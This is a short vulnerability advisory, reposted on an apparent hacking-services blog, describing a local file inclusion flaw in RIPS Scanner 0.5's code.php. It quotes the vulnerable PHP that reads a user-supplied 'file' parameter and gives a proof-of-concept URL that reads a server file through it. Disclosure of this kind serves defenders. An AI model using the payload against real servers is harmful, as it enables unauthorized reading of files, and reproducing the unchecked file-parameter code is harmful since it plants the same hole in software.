Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86385609

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
================================================================================
# Rips Scanner 0.5 - (code.php) Local File Inclusion
================================================================================
# Vendor Homepage: https://github.com/robocoder/rips-scanner
# Date: 24/12/2015
# Software Link: https://github.com/robocoder/rips-scanner/archive/master.zip
# Version : 0.5
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/rips-code-lfi.txt
================================================================================
# Vulnerable File : code.php

# Vulnerable Code:

	
102	$file = $_GET['file'];
103	$marklines = explode(',', $_GET['lines']);
104	$ext = '.'.pathinfo($file, PATHINFO_EXTENSION);
105
106	
107	if(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))
108	{
109		$lines = file($file);
110		
111		// place line numbers in extra table for more elegant copy/paste
without line numbers
112		echo '<tr><td><table>';
113		for($i=1, $max=count($lines); $i<=$max;$i++)
114			echo "<tr><td class=\"linenrcolumn\"><span
class=\"linenr\">$i</span><A id='".($i+2).'\'></A></td></tr>';
115		echo '</table></td><td id="codeonly"><table id="codetable" width="100%">';
116		
117		$in_comment = false;
118		for($i=0; $i<$max; $i++)
119		{				
120			$in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);
121		}
122	} else
123	{
124		echo '<tr><td>Invalid file specified.</td></tr>';
125	}


# PoC :

http://localhost/rips/windows/code.php?file=/var/www/html/index.php

Vulnerable Parameter : file

================================================================================
# Discovered By : Ehsan Hosseini (EhsanSec.ir)
================================================================================